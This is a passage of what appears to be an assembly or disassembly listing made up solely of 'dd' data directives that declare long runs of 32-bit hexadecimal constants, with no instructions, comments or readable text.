0C3293C5h, 27B28512h, 0EE6CCA8Fh, 0AAD91EDBh dd 0D0268CDAh, 55D5D3B9h, 0E3E45679h, 0E67A743Bh, 0F0E7D1CDh dd 19974FD5h, 0FF7DA3EBh, 0EA724CA7h, 1FA3157Ch, 6D5B5D30h dd 4F27E653h, 0DF6EB0B0h, 99DCFB71h, 9DCF27A2h, 0D590EBAFh dd 9EF0E6DBh, 23AC2E38h, 0EBB93FA0h, 7564BA0Dh, 2DBB7055h dd 30C1EDCDh, 6CDD6BA5h, 0C399F74Dh, 8187818Dh, 0DE651970h dd 0DBC15E0Bh, 0BA9DFFB8h, 0ECF5BAC5h, 3319BA5Fh, 3ADB2A16h dd 676439FBh, 6A74C75Ah, 35C98772h, 36B23D20h, 383CAE9Ah dd 0DFED59D7h, 557B73E2h, 8E516E27h, 171E0E0Bh, 0A3A80FCBh dd 0EFD9AA53h, 0E9319F7h, 7B166BB1h, 475BC82Bh, 36D5778Fh dd 70016885h, 7634C326h, 1A200B9Ah, 76B1713Dh, 7D325DCh dd 0E423086Ah, 0E278625h, 16EC41CAh, 1E0643CEh, 6B783FC2h dd 0C20DF395h, 5762DC32h, 631857D6h, 7936EE82h, 0FD442B3Bh dd 0B96EF2E7h, 0B1FE0716h, 0C3D7A5Ch, 85DE5BDBh, 98CBE669h dd 0C22C4FEDh, 0F66247A9h, 0B49FE4DCh, 80E555F6h, 3163D44Fh dd 4D82BC7Eh, 6C2451ECh, 52D397E4h, 245683A8h, 99D3865Eh dd 0FA1F112Dh, 6412AE40h, 0A429072h, 992928C6h, 0F5F0ED89h dd 244BE1FFh, 0C837242Dh, 55CD7A19h, 0E3B5BB6Dh, 4A0D8B99h dd 5E42FBADh, 0F8501B90h, 0A887538Eh, 3FEB09EDh, 3ABD61FFh dd 6655C05Eh, 0ED20B413h, 0B1E82FB6h, 9A7BE048h, 4A10C612h dd 28FDE156h, 22391D4Eh, 0EBBCC681h, 41D969A5h, 6231B580h dd 6EA851F1h, 0AC57E43Bh, 7805B77Ah, 31E2406h, 0DD6D71B9h dd 0E93721B1h, 59BB575Ah, 0EF390458h, 0FEF1ABE5h, 0FFEA725Fh dd 8A83B20Dh, 0F6CEC7ECh, 49AC37C4h, 92E72DB4h, 415962B7h dd 6D62D011h, 7104314Fh, 1A445AADh, 0B4601928h, 4AB781C0h dd 20A1E4EDh, 0B8EDEE7Ch, 88E7D63Fh, 0B91CD394h, 0FC84C38Bh dd 9FF0F202h, 7C1A2DB7h, 933443C9h, 43B644B5h, 0F7B7661Dh dd 0FC3EB2E6h, 0B0ED7054h, 7260E165h, 0FA9EF19Eh, 0F322A9B1h dd 54FEA923h, 0FD7A9B81h, 0B269CDC7h, 208AEC5h, 0ABBADA17h dd 0C58CB083h, 0F2C953EEh, 353228B4h, 775BB151h, 0D295016Ah dd 0A4A61E32h, 0C0651CDh, 12C58E72h, 0E304A960h, 6588E406h dd 4A594BAFh, 0F450114Dh, 0F16CDE5Ah, 0D38CFCE7h, 8AE89C07h dd 0F948994Dh, 9374A71Ch, 0A3ABEBAEh, 0F2D2A117h, 0EABC4334h dd 94D99826h, 8E6A0321h, 97D121D9h, 0E47B2CA6h, 86F74CB4h dd 74BFD671h, 377BE835h, 111B13B0h, 79859649h, 0EFDCE951h dd 0F6EB292Dh, 0FD27D736h, 69A07F76h, 17F059FDh, 69E55CE9h dd 9E17E17Dh, 63078102h, 0A13F6C44h, 1A2B1077h, 0DBCDF9F5h dd 77951C9Dh, 19FA8B7Fh, 42864C97h, 5C976134h, 186571A0h dd 0B83C1501h, 0E0952D03h, 991331BBh, 0BB7F6E5Fh, 0E143168Fh dd 0D4A25A85h, 7AE4D63Fh, 0BDD1BC9Fh, 6E17777Bh, 394923C6h dd 3E822ABEh, 9DF6354Ah, 65824308h, 1C1A1D3Bh, 0FAB109A0h dd 0FC4367Eh, 813FC52Dh, 76EF14FEh, 338520F5h, 0A1566C28h dd 64F87776h, 0B1A5C131h, 8A761F1Dh, 941B3C59h, 35D58DE0h dd 0B04ABEF5h, 0B9434C35h, 0C28DD5B4h, 27D264DFh, 2CDE684Bh dd 0BC489632h, 3FFB273Dh, 64E0B41Ah, 0BEA0CCA8h, 1BBD93B4h dd 6149A5E9h, 0F5C99243h, 4B752D42h, 7C05D673h, 920379B6h dd 3FEC7AD1h, 9B682C36h, 0C6232F22h, 567B7114h, 0BCD07D2Ch dd 0AE061695h, 0AE7D7A52h, 0DFEEA47Ah, 0C4DFB755h, 35468144h dd 8CD4E93Ah, 0C24DDE0Ah, 0D1B3ACE6h, 0A7B33707h, 5C3CD757h dd 922318FFh, 0B64A0912h, 760F3393h, 21C5C048h, 0EDD5E205h dd 7CFE8ACFh, 0B0B72FBAh, 7D685F92h, 0C32348AAh, 8B5608A2h dd 0F7F951B6h, 0DA938CFEh, 174BC968h, 0A7600232h, 49311853h dd 4CEB73A3h, 5304ED0Ah, 0D01096EEh, 0E6F67AC9h, 9EE91E2Ah dd 983D5E7h, 7FA0DAE9h, 0C2100CFAh, 66589680h, 99693A42h dd 7F8A3030h, 0E76C37E7h, 963240D7h, 540F5166h, 26DFFEFCh dd 32B0E5A5h, 0E710D6B2h, 9607871Fh, 8855A4C7h, 0FF15C3DFh dd 53BB22D2h, 0CFA1CDA9h, 0DEE4E513h, 0B5531692h, 2513990Fh dd 58010093h, 8E38D64h, 53D1B467h, 58B76AE4h, 0BF9BDC4Eh dd 0A5819AA8h, 1DB9CCE1h, 0C576B4F6h, 52A30AF1h, 0A4337061h dd 0CDDBD283h, 0ED7E8D60h, 0F949DDDDh, 1C1FA82h, 0FC8B637Bh dd 1AED9905h, 7ABC0137h, 0BE8D9FAEh, 8A5F4671h, 5D50B1CEh dd 0BF94F689h, 61386134h, 7B787AA4h, 7E2CD3F3h, 57E39082h dd 1C7CBA6Bh, 740778F2h, 12AF1084h, 870496Ch, 4786693Ah dd 0CD4D733Dh, 0C3EFDC9h, 81C4F169h, 9BC4665Ch, 0CF22C780h dd 9E63E2D7h, 9B1582B4h, 9FCC873Fh, 46626BBh, 5BB03939h dd 7107315Dh, 40A8E119h dd 87204E9Ch, 0D285FDB2h, 7C7EF448h, 3E2B00BFh, 316E1902h dd 4E4C07EBh, 7A59661Fh, 8927ED0Bh, 9CC5E342h, 1600C325h dd 70C862F9h, 472EB681h, 0D23F1F5Bh, 8F5B7727h, 0C8706B77h dd 57171C48h, 1E3DE6FAh, 17BF7B8Fh, 940ACA6Fh, 0CE4A355Eh dd 2E09C085h, 0DAEF833Ah, 75E13C6h, 0C91EC49Ch, 0B8307129h dd 0B5FE0C68h, 5BB645EFh, 71F7D199h, 0EC26FB4Dh, 0ABDB05D3h dd 0B5705BD7h, 3EA16CC5h, 60206189h, 0E5936413h, 5C9F2DC1h dd 4A4DC026h, 7A1669h, 0B0BE9910h, 9AA43C02h, 0E95DF960h dd 54F6D45Ah, 7D5BFC1h, 60D4102Ah, 0BC315C96h, 6243FD6Ch dd 5FAE1BC1h, 188B952Dh, 486078CEh, 0F0CDF24Ch, 0FEE71154h dd 6399270Bh, 9ACC3561h, 0B783EDD6h, 0E2AB0DF4h, 7263173Fh dd 0C5E665Eh, 63038437h, 0D3E7E57Ch, 0A931B046h, 86E13295h dd 2B88212h, 0BD15A861h, 0F6ED2998h, 5DFA6E3Eh, 8B2EE155h dd 61B3F74Eh, 6885218Ch, 567B7E42h, 0CD654A86h, 56D7E27Bh dd 0F035F870h, 6132BDBAh, 55630683h, 0BC7213D6h, 0DC591E2Ah dd 0B4497108h, 0CC99C153h, 0E1DDC3A5h, 642F4F17h, 638BC5A4h dd 7FC2A9B2h, 0F4C588F6h, 0FA9C162h, 0E911CA67h, 7E1E1478h dd 1A7AEA31h, 5572E587h, 0FC1E07D0h, 0CBB9A1ACh, 3DD7C8B1h dd 87C27F20h, 770CEEC2h, 37316A1Ah, 0D48669A3h, 0D0F551BEh dd 0D93A7A5Ah, 0FDCFD6FEh, 3A496FE0h, 4FF48C7h, 0B81DB547h dd 6C87A122h, 86252E25h, 0F6FF9EA4h, 8F659E6Bh, 3C117029h dd 52C53665h, 86C85E1Eh, 98C0053Ch, 234FD0Dh, 39D0D3AFh dd 0EFD3D931h, 610ADB71h, 9352B6B7h, 1E6D93Dh, 6DAFDFA1h dd 0F7D0F5B3h, 2C2B9CD4h, 90771C97h, 4F067FEBh, 0E94DB2A1h dd 58E4D1B3h, 9F668127h, 0B301ECFAh, 0AC3F4052h, 90A2F5F4h dd 0D051D0C8h, 67A59396h, 32263428h, 11EB4B6Fh, 0A0406910h dd 4965C88Dh, 1F673E26h, 9B25EF33h, 0DBF7DA42h, 43AB0733h dd 8D42B05Ah, 3C82A7E8h, 60A118BAh, 576889B1h, 110AAFB2h dd 0D1BD912Ch, 7B961616h, 0BC3749EFh, 0B112F846h, 78A56C11h dd 4F83DA9Fh, 9D03F683h, 0F19F56F7h, 78C32F44h, 4CD62298h dd 1B084B46h, 9527C618h, 83BC3241h, 0CEFCF545h, 3C42A53Bh dd 0D47BFEC2h, 9046EB5Dh, 0C94AD095h, 4A310ED2h, 3BC1615Bh dd 0D72ED0DBh, 0A2A04D8Dh, 52CEA180h, 52C8D8AEh, 1423B3E9h dd 0B53AC8CFh, 0C67A791Ch, 0F9246F22h, 0D975ED12h, 866ADCC5h dd 9AD1EB1Eh, 0BAC7DB4Ah, 0F8D607D3h, 6431054h, 0C0BA3DE4h dd 0A85F824Bh, 5E0BA6B4h, 0A60BA11Ah, 1B6011D6h, 0B6B64B11h dd 0CD2806D2h, 0C06758A8h, 7D4FF25Eh, 0AC24825Ah, 0C973204Ch dd 9EF8891Dh, 0A4A83512h, 0AB256A80h, 3F277D3Eh, 92F1E72h dd 0C45C5B3Bh, 94CEE89Ah, 0E5A038AFh, 261BEA4Dh, 673F035Ah dd 2788C51Ch, 0C7A79811h, 0DAA3058Eh, 0F9BF82E0h, 2B7FD2DEh dd 0D9DA24A1h, 22F4E80Eh, 0B67A71B4h, 0B41F6265h, 41812B42h dd 56B41651h, 0B5C07614h, 26113B95h, 0EDE9BA4Ah, 0F801828h dd 0D45340ABh, 101BCEF9h, 9D213873h, 0E5C3E63Eh, 9A7655F5h dd 7CACF6D4h, 5D202985h, 0C10FC553h, 0FD5B40AFh, 0A1FAD940h dd 69E5E33h, 0E895744Ch, 727505E9h, 529FF6Bh, 0DB5920EEh dd 37205C58h, 0BE48A702h, 96023117h, 0CE29C938h, 0BA7F4A09h dd 22DC1DDCh, 7B35D62Fh, 1A756458h, 0CAE5AEEDh, 9A3D01A4h dd 0B02304C1h, 781D89F0h, 6F3E29FCh, 0E4D707C1h, 0FB28D4AEh dd 0CE38FFEBh, 5D979776h, 8ACF422Eh, 96D02FE5h, 36424E26h dd 0E78C40D7h, 31325E3Dh, 0A110E33Bh, 0A509CA8h, 0D3D21F73h dd 0F1B274D5h, 9564898Bh, 51C0B1ADh, 4236F08Ch, 9C15A28Bh dd 7D983E64h, 0A7C1891Bh, 7E2A4ABEh, 0A985C41h, 71DE0962h dd 0A641C4CCh, 150981AFh, 0CE02255Eh, 1892ABC2h, 8B0CC5E0h dd 870DBE53h, 83D442B3h, 49E9F7F0h, 36B7389Dh, 97FBFBBAh dd 909F32A2h, 65D224h, 441E68BAh, 0FCD7721Eh, 5F0417DCh dd 0F4979F05h, 891A1DA6h, 5DDA4CFAh, 0E753993Fh, 3AD2F5ABh dd 1FDBADFFh, 76F88F52h, 23E221F7h, 0A7A15A05h, 0C6348A7Eh dd 34DBCEF7h, 382FC103h, 3A499334h, 0CF79E88Eh, 0C5B1C9BAh dd 0CE42ED40h, 0A1FBAB21h, 5A43003Dh, 9DEC73CEh, 38237E9Ch dd 905EACA5h, 0AD068D60h, 2811B102h, 0FE3B2D14h, 84608F92h dd 7E441D2Eh, 2E93F5F7h, 0A5744D0Ch, 604B2C5Bh, 96E496C4h dd 7F6EEBF9h, 98126282h, 905CC0EBh, 3612F58Dh, 0FB813EF8h dd 16E3973Eh, 201B1F59h, 0A1BF5D0Eh, 0D5A6E17Ah, 1D0235C9h dd 0AB2D57C9h, 1FE89812h, 2749D9FAh, 3DF705EAh, 79052FA6h dd 6F9FB33Eh, 0FCB95BD8h, 4FD739D7h, 0E380149Ch, 41BDD785h dd 0DECBDF50h, 6B08C7Eh, 0EA6D289Bh, 0C4D18611h, 0DCD26E40h dd 8844A259h, 0E6404F83h, 2D477F3Ah, 437B5322h, 0C7A0D7F9h dd 964422E8h, 4E6E210Bh, 2B929EE4h, 96D1A6C6h, 0E29D369h dd 0DBBA5CAFh, 0F2010E89h, 43A25752h, 88EA6CFFh, 0F09DEC27h dd 0C3379DDEh, 5A7A34C0h, 55A33660h, 0A89FF93Ah, 0FFEF6EE1h dd 534474B2h, 145F228Ah, 0FD9800B3h, 31CD48C5h, 0B6DCED60h dd 86D654Bh, 68CA87B4h, 0D74F42E8h, 0D6848E2h, 0CF5185A7h dd 4D9E967h, 9B568B6Fh, 0A20E58A8h, 344E6C04h, 806BF29Ah dd 8A8AD6A4h, 7A2D422Fh, 0B8AC25BCh, 0A951CB79h, 57C59BFDh dd 45027C5Ch, 6DF6EEFFh, 8AF6F937h, 483D6F01h, 38AF5DA4h dd 0FA1B1186h, 72AF5FA3h, 3BA80CCFh, 0B058C89Fh, 11F229A2h dd 8217EF28h, 53089C3Dh, 5E8D8B23h, 0F0D2268Dh, 0BF16322Eh dd 0C47200F2h, 2025BFB5h, 8E3AF759h, 7BAC9ACEh, 3A09733Ah dd 3A3D171Dh, 688E69BBh, 292BB187h, 0A6A4A547h, 0B3965AECh dd 28CC73E6h, 5F952DDAh, 0E0171A2h, 2371943Ch, 75639D02h dd 0F396247h, 0EA942BC9h, 0DA32EDA5h, 4F7297EEh, 622745D1h dd 785FF122h, 0EF81C03h, 0ADF22444h, 5BED0D02h, 8C8E5AB7h dd 9590131Ah, 0B69938CCh, 0DBE78926h, 7DCD4D5Dh, 76FEAD13h dd 9539E512h, 0FA30BEB2h, 9730A89Bh, 3219C6FEh, 5A611518h dd 0A57C16C3h, 92CE2D35h, 4594E764h, 886B1C06h, 6BE097FEh dd 0A579038Ah, 87CC1FFh, 35048450h, 97AF9DEDh, 0BC4E7E97h dd 6FD696F7h, 9EB792D6h, 26A23D5Fh, 6C93ECC6h, 2A6BC055h dd 0C9D143FBh, 3B44EB77h, 0DC983946h, 0AE84C629h, 33A51AA1h dd 8F1BC147h, 0C9C43BECh, 68CB6134h, 62648F17h, 234B77DDh dd 425D6C30h, 8BCA6BA2h, 1CC94859h, 4892C0D8h, 0C5EC3C23h dd 5741DB8Fh, 3E265C2Ah, 0DB1FF438h, 6BCDCD31h, 0BF6F2D18h dd 7289F503h, 8A5466D1h, 0C24E3E5Fh, 9FD4795Dh, 73054F8Ch dd 9F73B475h, 608502E7h, 12E8220Eh, 3A430F6Eh, 3E5E134Eh dd 46A834BBh, 0E6496D2Fh, 5FD95E54h, 9717DB8Ah, 7EAAEE5Eh dd 71745C2Dh, 78E561A3h, 7D813A54h, 12FEA483h, 734F8DFh dd 26CBF2E2h, 4C6845D7h, 0B2850DEEh, 19748BD0h, 5F3CC569h dd 0E6255FB8h, 9CF50616h, 662F88B0h, 8AA58D41h, 0ABB1E41Fh dd 0E32596B6h, 1C621F76h, 5A5962CAh, 14C690FEh, 0C59227D7h dd 276DE4C6h, 851F3FA1h, 0EDDA9A77h, 3270BD25h, 0C55553BAh dd 0DE0656FBh, 10955992h, 0E8B7B9C7h, 0B86C4DF5h, 97AE2779h dd 0AFF387A1h, 6C3CF7D9h, 16AB05D6h, 0AAF67098h, 0E7545389h dd 2A9E2673h, 0A3339D30h, 0AE40BF1Ah, 0FDD67029h, 7F2336B7h dd 1933E58Dh, 9A1925FAh dd 0BB0A876Bh, 0EF084CDAh, 2594DA20h, 0A6EEEC1Ah, 0D42DD08Dh dd 0A58DBF45h, 0E6550A08h, 8A7551E1h, 0F9CC94E5h, 5DF5A5E4h dd 0B8C52A4Ch, 0DAC2D7B0h, 9584FD72h, 0D0404F31h, 7940AC93h dd 0AD71A5D9h, 90BF0F61h, 0BCA366EEh, 228220A4h, 0FFE9C881h dd 22B4794Fh, 1C25A2E6h, 0DF1211CFh, 33E938B6h, 241E4789h dd 7025DAD4h, 0C6D98BB7h, 0F88BCBCFh, 0D4D210Fh, 6F0F78FFh dd 3ECC8669h, 0D6E7DDFAh, 54014A8Ch, 0D8DF72D4h, 9A137C02h dd 0D88C1B28h, 0C210F81Bh, 4B9BCA3Dh, 39D1805Eh, 0FFF19977h dd 75C3075Bh, 5D1492A6h, 4BF967B2h, 1EB127CFh, 0B7AB6081h dd 5D4B54B4h, 942A44A0h, 6CB96BCCh, 0BAC4216Bh, 2D65C4DFh dd 33196142h, 0E9495AD2h, 8E0F08Ah, 84269B39h, 6C718C56h dd 0E5C02296h, 25ABF8F4h, 3D08865Eh, 0C5BAC265h, 0B7CC5406h dd 0BFE2D1CBh, 30733744h, 4AFDD6ACh, 86D2E706h, 57350768h dd 99A11D3Eh, 65FDCAC2h, 15EE8F95h, 67F1CE05h, 257CCBFDh dd 0EB6149C6h, 0C1AF8256h, 0CE7E6D9h, 19D39717h, 0BCA0541Bh dd 4A8B370Bh, 8557AC37h, 0B6551B82h, 4F12EF42h, 0FFB92A34h dd 8C0CC46Bh, 0C3FF42E6h, 5C13D0D0h, 0AC537900h, 35A8A73Fh dd 232DF6A6h, 9D64745h, 0BDE20B4Ah, 0F656DEA4h, 9C1DC891h dd 949CC5BEh, 0E4A364E8h, 60D3E98Ah, 0D9E12A74h, 9EADA690h dd 0C5FF81A2h, 0B8CCB29Dh, 0FCC45B85h, 25E2A950h, 1E19829Ch dd 0B4F02136h, 6E39B04Fh, 5C0287D4h, 0EDCA5992h, 0CD14A90Eh dd 2B804C2Eh, 483191D0h, 5CF07E56h, 86EF26C9h, 0AD0A214Ch dd 85D97EF5h, 0E5415604h, 50BFFEDFh, 0C47CCCE0h, 4969EF82h dd 0D596BBBBh, 44C26C93h, 586C5CDh, 24CCC2DFh, 361A5341h dd 0F81FD260h, 0C1DEBB41h, 0AB97B9A6h, 0F540D093h, 33EA1157h dd 18BEE06Dh, 63F71B8Eh, 0F66B184Ah, 0B833CB4Dh, 0F8F700B4h dd 7770A3D4h, 70C19D49h, 716A98CEh, 0F373DFCBh, 771B5BA1h dd 30DCBA51h, 0CFBF0B3Fh, 0D0BC3BD5h, 1497E86Ch, 0E6CCE78Fh dd 6A61D2D0h, 84CD67C8h, 65B7C213h, 0D210CDFh, 0DF98D9F9h dd 0A967A964h, 80B54E96h, 6798FA6Dh, 2EEFD4BDh, 0FCD809FEh dd 40B48E8Fh, 56611829h, 74600645h, 0C98C2C03h, 0C3547583h dd 0AEFA2952h, 95CF37E6h, 0BEBA988Eh, 0A235EB42h, 77E77237h dd 4E287B53h, 37CC9ECDh, 0A2A62B8Ah, 65869258h, 560E6EF4h dd 7958A418h, 0D249A710h, 0B412A14Bh, 4D1A6C03h, 369A30AEh dd 0B352CF98h, 4335B712h, 0B923BD63h, 50982184h, 0AA2CF5ABh dd 0D2EA98D5h, 3D18899Ch, 90C254B0h, 190A6C85h, 270CE1E9h dd 0D7AC7FA1h, 0F850808Bh, 0A885FD70h, 0F725B41Dh, 47B2DB46h dd 9C51DB09h, 0CA54AF8Fh, 8B7F4EF2h, 866A2BC1h, 6E7DBA60h dd 0C26FDA5Fh, 10DA5DA4h, 0B971FC53h, 0B7A9044Ah, 0CBC2B677h dd 270442E3h, 0E6E471D6h, 7DB019AFh, 0A036EE4Ch, 9DF0A508h dd 9AEF1818h, 446098CAh, 0B23A7D5Ch, 17F4D82Ch, 8F485A9Ah dd 0E44A671Ch, 71CCC06Bh, 0C185F261h, 0DB846B69h, 9F74093Ch dd 95D4F172h, 8A60C51Ch, 30361B7Bh, 8D2192EAh, 3C5AFEBEh dd 83B74FB8h, 0AE18CDBBh, 67B0E23h, 13608EE0h, 7BBEFD92h dd 2E2D02EAh, 90DC9A2Fh, 0CA5DA937h, 0D42EF7B1h, 0CD2B0AC4h dd 79688AF4h, 0A1AB3D4Ch, 4E670E89h, 613A59E0h, 0D38F81E1h dd 81352554h, 80D08A29h, 4238AC0Dh, 0D5BD0E59h, 0E275BE7Dh dd 0B272A739h, 0D19F172Fh, 4F59446h, 6B891A41h, 0AF2B2CC4h dd 0BF83BB35h, 9D7F3AFFh, 0C47B8079h, 8C1F1AA3h, 0E9F428EFh dd 0F6B0C620h, 361CB73Ch, 0E0F12EDFh, 2CE19B06h, 29D21C0Fh dd 0B2D6883h, 82125BDEh, 43616B4Bh, 0CFA53535h, 0EBFF45C9h dd 895C4834h, 0A915EFFCh, 0A0CEA77Bh, 809542D5h, 5EAC1D8Ah dd 0D80E5733h, 34A0393Bh, 0F48B2550h, 2DB941A6h, 64BD6E9Eh dd 4323124h, 0CA2DCFC0h, 748DCD3Fh, 1847A3D2h, 30E81A8Bh dd 2E7811CBh, 0D803EB2Ah, 5A279B8Dh, 50E58FADh, 0BA8DC308h dd 6CA9C348h, 49905837h, 4E52C405h, 21EB7919h, 3DBA8006h dd 0CFEA6DBAh, 0D98695B7h, 47AFF22Eh, 0CC270D40h, 541B48D9h dd 0BDC52EB7h, 0A62EB4E6h, 81A3144Fh, 0EE0DB9C1h, 56F2A921h dd 623D92Ah, 0CE382D3h, 76EE9CA6h, 42B6E2D1h, 71019A16h dd 0F786EDCBh, 5822865Ah, 29E00021h, 791FE8C2h, 0C22E53E5h dd 124E01AFh, 0B9198359h, 0C8FFE882h, 945AFEFh, 0B3F75345h dd 6C69E9C0h, 8A510D6Ah, 667B43B1h, 0E3A64703h, 0CA1FD5F1h dd 393948F7h, 26833CEFh, 505EA6BFh, 0EEB917CEh, 555ACD51h dd 55E26BD0h, 16C5D0E1h, 1F559FD8h, 0EF865E33h, 9F848DEDh dd 0C30FCFD2h, 0CC15B48Ch, 0E3C08A58h, 0B7047313h, 0DF124185h dd 21189672h, 0FE16592Dh, 76BA9019h, 0B415458Eh, 5AFE0AF0h dd 32E4781Dh, 0F1F5A0E3h, 0B5C0F71Fh, 0E1EC1C24h, 669DFA28h dd 3CD3E8EDh, 0B18F8258h, 2EFEDAEEh, 4277B198h, 7804B7C4h dd 8D5744D7h, 4B1F6E5Eh, 0C864AF2Ah, 511EF951h, 196F00D0h dd 57295CE3h, 0D4E1765Ch, 0FC2BFFAAh, 6C789F1Eh, 870EC21Ch dd 0DF8A2D1h, 90DB855h, 0DEA271C1h, 5A18E58Eh, 0FF4AE19Fh dd 351F1AD9h, 0CD1242Ch, 825F7A57h, 9FC14906h, 91B9008Bh dd 12F5FE8Bh, 64DDC4F3h, 0F4B390B8h, 0A4835FF4h, 0C193F4D4h dd 0BBB7DE17h, 24957DDFh, 53B809C2h, 3341FEEAh, 15B8FB60h dd 3398B171h, 66986194h, 8BA7E33Ch, 0D43DA564h, 0AC5BB126h dd 0DF81C1C0h, 191FBEEFh, 296A1E05h, 7BF50482h, 0D8D00A73h dd 766B475Ch, 610FD582h, 0C0FED1D8h, 76F7C591h, 0E3B11891h dd 3D249A09h, 80F74E9Dh, 0A9ED3143h, 0E86292F0h, 7C0C62BEh dd 8012AA06h, 30D78038h, 11028B6Ah, 4B60C797h, 5BF9D393h dd 0E6480183h, 0ACF7FE04h, 2263DA04h, 0B9491262h, 92C4423Eh dd 0BB789614h, 0AD77B337h, 0FB46302Fh, 0E780ED4Bh, 594FD828h dd 0C598F983h, 40CA917Fh, 567BE0A9h, 5465B7D4h, 2CC458A0h dd 85044730h, 0B6EE5B6Ch, 0A6C510CDh, 0ED34C74Eh, 0EE67F4EDh dd 612CF8F1h, 9F99091Ch, 86F4D58Fh, 0A55F3C83h, 2E13EA20h dd 0F290BC5Ah, 308EFCCFh, 0F959975h, 7554A1D2h, 0A48FAE43h dd 0C400B360h, 2DD287D9h, 0F2E4B10Eh, 0B3D0627h, 0A5F8CEACh dd 30468F66h, 6D22C6DAh, 0AE174B41h, 9BF5A2AFh, 751AD9CBh dd 5FFB2EA9h, 0FEF5ECA1h, 0A45997E7h, 0BBF64AA8h, 52F5BEA0h dd 0BC1425Dh, 0C6D55D29h, 2FCD0C89h, 8A60252Ah, 417D13A4h dd 0CAF5FCBAh, 0F50BD2Ah, 219AE5EBh, 89E8E5F3h, 0A95B35F5h dd 7FBDCCDh, 81F3B1ECh, 35A20A78h, 9E8218B2h, 0A2C303B9h dd 54FAC895h, 0A8E65849h, 47958DE1h, 8094A1F3h, 9063EA0Ch dd 7BB95D93h, 3E0C5407h, 1B07C1E4h, 13221BC4h, 48F48A74h dd 0BA85A6FDh, 0E04BFC56h, 4CAE4E2Fh, 0A3CF3D42h, 25D83FB0h dd 0A867C0ADh, 4EECBCCFh, 0F174FD2Dh, 0F2BD4911h, 0A68121D2h dd 4F3245D6h, 296885CBh, 54C7921Eh, 0A699259Fh, 7D69DE93h dd 2C59E348h, 44A82051h, 0B45A0F2Fh, 0C1045B1Fh, 658AECDAh dd 45DE8B6Fh, 0C818B0DDh, 0A0C906E3h, 2327DEBDh, 63AFDF27h dd 7B8ECE27h, 4B5B913Fh, 0A1F68241h, 5CC2D5Dh, 1B874DC3h dd 0D64E16A8h, 41A8E8h, 37DBD15Dh, 2CC3836Eh, 0C8F8418Ah dd 0E8131F2Eh, 440AD6B1h, 54D5C069h, 29B3CDC8h, 1F2F9701h dd 0B608C35Bh, 108E610Ch, 43002526h, 0A34D8B5Ch, 4074F894h dd 6D33CB2Bh, 53995DA1h dd 8DCE94E4h, 0FE6E6550h, 0F5AE3020h, 8DAED5CFh, 72359DE4h dd 4477E957h, 7A233CBDh, 0BC7F2FD5h, 1E0D9399h, 98F2B78Dh dd 0AF8F4111h, 0CB915CF1h, 0B7356039h, 0FE1579C2h, 2175354Fh dd 0CC8736Ah, 9A79DDDBh, 0D0EDE840h, 942F77FDh, 42F2A8C5h dd 551BD572h, 198BF305h, 92BAFD9Dh, 86ECCCAh, 92FE21FFh dd 0A5E3EF6Fh, 5935D61Bh, 791F7F4Eh, 0AB5F8411h, 0A227D923h dd 64158A74h, 331AB158h, 925F6F7Ch, 5305EBB8h, 30F36FA7h dd 6D546943h, 0F0F12537h, 39EB4F22h, 0A14B546Dh, 203E22C4h dd 0D320119Ah, 0E7321E75h, 0CAB91F5Ch, 0C5599E19h, 0DADB156Ah dd 0C308429Eh, 0E86EFA7Eh, 182276F8h, 1B8AF2D4h, 78A4CCD9h dd 6A9BBE0Fh, 0C65EAF9h, 0AF638A1Bh, 5E8E030Eh, 0F0C30962h dd 9B479494h, 0D645C5DAh, 0D2BEC730h, 1D5AF2D4h, 0DE1D4AAAh dd 0C20E5687h, 15356C41h, 0E511621Fh, 0E9BD8A20h, 0DBA89EDCh dd 777C903Ch, 0A64ECCC1h, 97FB52E0h, 5CEAEA35h, 0ED850BF8h dd 62AF77D0h, 0ED47A062h, 0AA72400Fh, 4E1D31Bh, 0CFA9C170h dd 0F7BA9697h, 8F4748CBh, 337CFACCh, 48C03AEFh, 8EFC2AAFh dd 123EA7B7h, 0FD1FAA51h, 29A01FFDh, 92FB9A76h, 9D812490h dd 0D5DA733Dh, 6C9F5674h, 6D9F5A85h, 7BC31148h, 4E72C8D2h dd 3A86A458h, 0EDD1B48Eh, 0E922206Ah, 84BFC1DAh, 4D8867FEh dd 0BD57BCA0h, 0C7BE6932h, 0F5BDD719h, 0B18D8A20h, 0C105BA17h dd 0E5E5070Bh, 7CBCDF4Ah, 79149D49h, 0D3D9436Ah, 0BEEF2E39h dd 0EAEF2000h, 0A1162A24h, 0A18F0776h, 8EE83BCEh, 5AC4BB5h dd 664811Eh, 9A40A37Fh, 0B664AEF9h, 0D7765BDFh, 183837E0h dd 0B71CCB72h, 0BD41ACE4h, 0DC15DB6Fh, 5665890Eh, 0FAB443AFh dd 6C908F1Eh, 0DDC98393h, 6019E170h, 0CEC8CB57h, 0F9122FC6h dd 0B76A34B2h, 0BAF9EA35h, 910A51F9h, 0B0EEBE31h, 2401EC8Eh dd 0B0425790h, 84C7A0Bh, 0AB75E329h, 0A564AC99h, 352FFE76h dd 92D7A5BAh, 0FCACA12Dh, 0A4A53DBDh, 3FE068C5h, 0DFD4494Fh dd 0B9057662h, 579E11AAh, 5FEF71F9h, 8AB782B1h, 1898196Ah dd 3AEEAE65h, 0BDC96FE6h, 24A32AD5h, 5D8E35A6h, 6C441146h dd 0A565C771h, 0E833D3D9h, 0A20B67E2h, 0CAAAB56Eh, 0F5CF8725h dd 5437E858h, 56199704h, 0CEB94B90h, 5F50067Bh, 8DEC0563h dd 0AA5F99CEh, 67958C7Fh, 2C98CEC8h, 0CAB714D7h, 0CB5D2FCEh dd 8C515DA9h, 4A31C70Eh, 0D272089Dh, 0EBEA9869h, 0DD2BBF6Fh dd 0A558B287h, 3A640EE3h, 2E474DC4h, 0EDBE726Bh, 0EE2F96D8h dd 90247504h, 0D40E5CB9h, 6FB346CAh, 0D2593F2Dh, 0A677F9ABh dd 0DE7B0C29h, 0A6F3539h, 0E1CEE04Ch, 0FA8138A3h, 568ADF07h dd 2AD02C9Ch, 6A18F930h, 5FBB00E5h, 0FF08C626h, 828BB60Bh dd 0E4584610h, 76244084h, 9355C123h, 1BEE0D70h, 0E2726E8Eh dd 0D39591AAh, 0EB38A381h, 92DC15B8h, 9EBD91B2h, 784C0F05h dd 385258FCh, 2483DFEh, 9181ADE7h, 65EECBC4h, 0CA873A1Ah dd 37788310h, 0D485E1DAh, 0DD0ACD9Bh, 684C7595h, 888365E8h dd 0A758FC53h, 3230E75Dh, 93EDE4BBh, 59137B97h, 59FE779Fh dd 0B93BB451h, 0D511172Bh, 0B70B4E5Bh, 23DD558Fh, 0B3DF4F92h dd 358E9A52h, 